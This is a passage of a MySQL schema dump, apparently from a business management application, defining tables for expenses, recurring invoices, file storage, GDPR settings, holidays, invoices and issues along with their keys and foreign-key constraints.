`expenses_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `expenses_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `expenses_category`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `expenses_category` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `expenses_category_company_id_foreign` (`company_id`), KEY `expenses_category_added_by_foreign` (`added_by`), KEY `expenses_category_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `expenses_category_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `expenses_category_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_category_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `expenses_category_roles`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `expenses_category_roles` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `expenses_category_id` bigint unsigned DEFAULT NULL, `role_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `expenses_category_roles_company_id_foreign` (`company_id`), KEY `expenses_category_roles_expenses_category_id_foreign` (`expenses_category_id`), KEY `expenses_category_roles_role_id_foreign` (`role_id`), CONSTRAINT `expenses_category_roles_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_category_roles_expenses_category_id_foreign` FOREIGN KEY (`expenses_category_id`) REFERENCES `expenses_category` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_category_roles_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `expenses_recurring`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `expenses_recurring` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_id` bigint unsigned DEFAULT NULL, `currency_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `user_id` int unsigned DEFAULT NULL, `created_by` int unsigned DEFAULT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `day_of_month` int DEFAULT '1', `day_of_week` int DEFAULT '1', `payment_method` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `rotation` enum('monthly','weekly','bi-weekly','quarterly','half-yearly','annually','daily') COLLATE utf8mb4_unicode_ci NOT NULL, `billing_cycle` int DEFAULT NULL, `unlimited_recurring` tinyint(1) NOT NULL DEFAULT '0', `price` double NOT NULL, `bill` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', `description` text COLLATE utf8mb4_unicode_ci, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `purchase_from` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `expenses_recurring_company_id_foreign` (`company_id`), KEY `expenses_recurring_category_id_foreign` (`category_id`), KEY `expenses_recurring_currency_id_foreign` (`currency_id`), KEY `expenses_recurring_project_id_foreign` (`project_id`), KEY `expenses_recurring_user_id_foreign` (`user_id`), KEY `expenses_recurring_created_by_foreign` (`created_by`), KEY `expenses_recurring_added_by_foreign` (`added_by`), KEY `expenses_recurring_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `expenses_recurring_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `expenses_recurring_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `expenses_category` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_recurring_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_recurring_created_by_foreign` FOREIGN KEY (`created_by`) REFERENCES `users` (`id`) ON UPDATE CASCADE, CONSTRAINT `expenses_recurring_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_recurring_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `expenses_recurring_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_recurring_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `failed_jobs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `failed_jobs` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `uuid` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `connection` text COLLATE utf8mb4_unicode_ci NOT NULL, `queue` text COLLATE utf8mb4_unicode_ci NOT NULL, `payload` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `exception` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `failed_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (`id`), UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `file_storage`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `file_storage` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `path` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `type` varchar(50) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` int unsigned NOT NULL, `storage_location` enum('local','aws_s3') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'local', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `file_storage_company_id_foreign` (`company_id`), CONSTRAINT `file_storage_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `file_storage_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `file_storage_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `filesystem` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `auth_keys` text COLLATE utf8mb4_unicode_ci, `status` enum('enabled','disabled') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disabled', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `gdpr_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `gdpr_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `enable_gdpr` tinyint(1) NOT NULL DEFAULT '0', `show_customer_area` tinyint(1) NOT NULL DEFAULT '0', `show_customer_footer` tinyint(1) NOT NULL DEFAULT '0', `top_information_block` longtext COLLATE utf8mb4_unicode_ci, `enable_export` tinyint(1) NOT NULL DEFAULT '0', `data_removal` tinyint(1) NOT NULL DEFAULT '0', `lead_removal_public_form` tinyint(1) NOT NULL DEFAULT '0', `terms_customer_footer` tinyint(1) NOT NULL DEFAULT '0', `terms` longtext COLLATE utf8mb4_unicode_ci, `policy` longtext COLLATE utf8mb4_unicode_ci, `public_lead_edit` tinyint(1) NOT NULL DEFAULT '0', `consent_customer` tinyint(1) NOT NULL DEFAULT '0', `consent_leads` tinyint(1) NOT NULL DEFAULT '0', `consent_block` longtext COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `google_calendar_modules`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `google_calendar_modules` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `lead_status` tinyint(1) NOT NULL DEFAULT '0', `leave_status` tinyint(1) NOT NULL DEFAULT '0', `invoice_status` tinyint(1) NOT NULL DEFAULT '0', `contract_status` tinyint(1) NOT NULL DEFAULT '0', `task_status` tinyint(1) NOT NULL DEFAULT '0', `event_status` tinyint(1) NOT NULL DEFAULT '0', `holiday_status` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `google_calendar_modules_company_id_foreign` (`company_id`), CONSTRAINT `google_calendar_modules_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `holidays`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `holidays` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `date` date NOT NULL, `occassion` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `event_id` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `holidays_company_id_foreign` (`company_id`), KEY `holidays_date_index` (`date`), KEY `holidays_added_by_foreign` (`added_by`), KEY `holidays_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `holidays_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `holidays_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `holidays_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `invoice_item_images`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `invoice_item_images` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `invoice_item_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `invoice_item_images_invoice_item_id_foreign` (`invoice_item_id`), CONSTRAINT `invoice_item_images_invoice_item_id_foreign` FOREIGN KEY (`invoice_item_id`) REFERENCES `invoice_items` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `invoice_items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `invoice_items` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `invoice_id` int unsigned NOT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `item_summary` text COLLATE utf8mb4_unicode_ci, `type` enum('item','discount','tax') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'item', `quantity` double(30,2) NOT NULL, `unit_price` double(30,2) NOT NULL, `amount` double(30,2) NOT NULL, `taxes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `invoice_items_invoice_id_foreign` (`invoice_id`), CONSTRAINT `invoice_items_invoice_id_foreign` FOREIGN KEY (`invoice_id`) REFERENCES `invoices` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `invoice_recurring`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `invoice_recurring` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `currency_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `client_id` int unsigned DEFAULT NULL, `user_id` int unsigned DEFAULT NULL, `created_by` int unsigned DEFAULT NULL, `issue_date` date NOT NULL, `due_date` date NOT NULL, `sub_total` double NOT NULL DEFAULT '0', `total` double NOT NULL DEFAULT '0', `discount` double NOT NULL DEFAULT '0', `discount_type` enum('percent','fixed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'percent', `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', `file` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `file_original_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `note` text COLLATE utf8mb4_unicode_ci, `show_shipping_address` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `day_of_month` int DEFAULT '1', `day_of_week` int DEFAULT '1', `payment_method` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `rotation` enum('monthly','weekly','bi-weekly','quarterly','half-yearly','annually','daily') COLLATE utf8mb4_unicode_ci NOT NULL, `billing_cycle` int DEFAULT NULL, `client_can_stop` tinyint(1) NOT NULL DEFAULT '1', `unlimited_recurring` tinyint(1) NOT NULL DEFAULT '0', `deleted_at` datetime DEFAULT NULL, `shipping_address` text COLLATE utf8mb4_unicode_ci, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `calculate_tax` enum('after_discount','before_discount') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'after_discount', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `invoice_recurring_company_id_foreign` (`company_id`), KEY `invoice_recurring_currency_id_foreign` (`currency_id`), KEY `invoice_recurring_project_id_foreign` (`project_id`), KEY `invoice_recurring_client_id_foreign` (`client_id`), KEY `invoice_recurring_user_id_foreign` (`user_id`), KEY `invoice_recurring_created_by_foreign` (`created_by`), KEY `invoice_recurring_added_by_foreign` (`added_by`), KEY `invoice_recurring_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `invoice_recurring_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `invoice_recurring_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoice_recurring_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoice_recurring_created_by_foreign` FOREIGN KEY (`created_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `invoice_recurring_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoice_recurring_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `invoice_recurring_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoice_recurring_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `invoice_recurring_item_images`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `invoice_recurring_item_images` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `invoice_recurring_item_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `invoice_recurring_item_images_invoice_recurring_item_id_foreign` (`invoice_recurring_item_id`), CONSTRAINT `invoice_recurring_item_images_invoice_recurring_item_id_foreign` FOREIGN KEY (`invoice_recurring_item_id`) REFERENCES `invoice_recurring_items` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `invoice_recurring_items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `invoice_recurring_items` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `invoice_recurring_id` bigint unsigned NOT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `quantity` double NOT NULL, `unit_price` double NOT NULL, `amount` double NOT NULL, `taxes` text COLLATE utf8mb4_unicode_ci, `type` enum('item','discount','tax') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'item', `item_summary` text COLLATE utf8mb4_unicode_ci, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `invoice_recurring_items_invoice_recurring_id_foreign` (`invoice_recurring_id`), CONSTRAINT `invoice_recurring_items_invoice_recurring_id_foreign` FOREIGN KEY (`invoice_recurring_id`) REFERENCES `invoice_recurring` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `invoice_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `invoice_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `invoice_prefix` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `invoice_digit` int unsigned NOT NULL DEFAULT '3', `estimate_prefix` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'EST', `estimate_digit` int unsigned NOT NULL DEFAULT '3', `credit_note_prefix` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'CN', `credit_note_digit` int unsigned NOT NULL DEFAULT '3', `template` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `due_after` int NOT NULL, `invoice_terms` text COLLATE utf8mb4_unicode_ci NOT NULL, `estimate_terms` text COLLATE utf8mb4_unicode_ci, `gst_number` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `show_gst` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'no', `logo` varchar(80) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hsn_sac_code_show` tinyint(1) NOT NULL DEFAULT '0', `locale` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT 'en', `send_reminder` int NOT NULL DEFAULT '0', `reminder` enum('after','every') COLLATE utf8mb4_unicode_ci DEFAULT NULL, `send_reminder_after` int NOT NULL DEFAULT '0', `tax_calculation_msg` tinyint(1) NOT NULL DEFAULT '0', `show_project` int NOT NULL DEFAULT '0', `show_client_name` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'no', `show_client_email` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'no', `show_client_phone` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'no', `show_client_company_address` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'no', `show_client_company_name` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'no', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `invoice_settings_company_id_foreign` (`company_id`), CONSTRAINT `invoice_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `invoices`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `invoices` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `client_id` int unsigned DEFAULT NULL, `order_id` bigint unsigned DEFAULT NULL, `invoice_number` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `issue_date` date NOT NULL, `due_date` date NOT NULL, `sub_total` double(30,2) NOT NULL, `discount` double NOT NULL DEFAULT '0', `discount_type` enum('percent','fixed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'percent', `total` double(30,2) NOT NULL, `currency_id` int unsigned DEFAULT NULL, `status` enum('paid','unpaid','partial','canceled','draft') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'unpaid', `recurring` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `billing_cycle` int DEFAULT NULL, `billing_interval` int DEFAULT NULL, `billing_frequency` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `file` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `file_original_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `note` text COLLATE utf8mb4_unicode_ci, `credit_note` tinyint(1) NOT NULL DEFAULT '0', `show_shipping_address` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `estimate_id` int unsigned DEFAULT NULL, `send_status` tinyint(1) NOT NULL DEFAULT '1', `due_amount` double(30,2) NOT NULL DEFAULT '0.00', `parent_id` int unsigned DEFAULT NULL, `invoice_recurring_id` bigint unsigned DEFAULT NULL, `created_by` int unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hash` text COLLATE utf8mb4_unicode_ci, `calculate_tax` enum('after_discount','before_discount') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'after_discount', `company_address_id` bigint unsigned DEFAULT NULL, `event_id` text COLLATE utf8mb4_unicode_ci, `custom_invoice_number` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `invoices_invoice_number_unique` (`invoice_number`), KEY `invoices_company_id_foreign` (`company_id`), KEY `invoices_project_id_foreign` (`project_id`), KEY `invoices_client_id_foreign` (`client_id`), KEY `invoices_order_id_foreign` (`order_id`), KEY `invoices_due_date_index` (`due_date`), KEY `invoices_currency_id_foreign` (`currency_id`), KEY `invoices_estimate_id_foreign` (`estimate_id`), KEY `invoices_parent_id_foreign` (`parent_id`), KEY `invoices_invoice_recurring_id_foreign` (`invoice_recurring_id`), KEY `invoices_created_by_foreign` (`created_by`), KEY `invoices_added_by_foreign` (`added_by`), KEY `invoices_last_updated_by_foreign` (`last_updated_by`), KEY `invoices_company_address_id_foreign` (`company_address_id`), CONSTRAINT `invoices_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `invoices_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoices_company_address_id_foreign` FOREIGN KEY (`company_address_id`) REFERENCES `company_addresses` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `invoices_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoices_created_by_foreign` FOREIGN KEY (`created_by`) REFERENCES `users` (`id`) ON UPDATE CASCADE, CONSTRAINT `invoices_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoices_estimate_id_foreign` FOREIGN KEY (`estimate_id`) REFERENCES `estimates` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoices_invoice_recurring_id_foreign` FOREIGN KEY (`invoice_recurring_id`) REFERENCES `invoice_recurring` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoices_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `invoices_order_id_foreign` FOREIGN KEY (`order_id`) REFERENCES `orders` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `invoices_parent_id_foreign` FOREIGN KEY (`parent_id`) REFERENCES `invoices` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `invoices_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `issues`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `issues` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `description` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `user_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `status` enum('pending','resolved') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `issues_company_id_foreign` 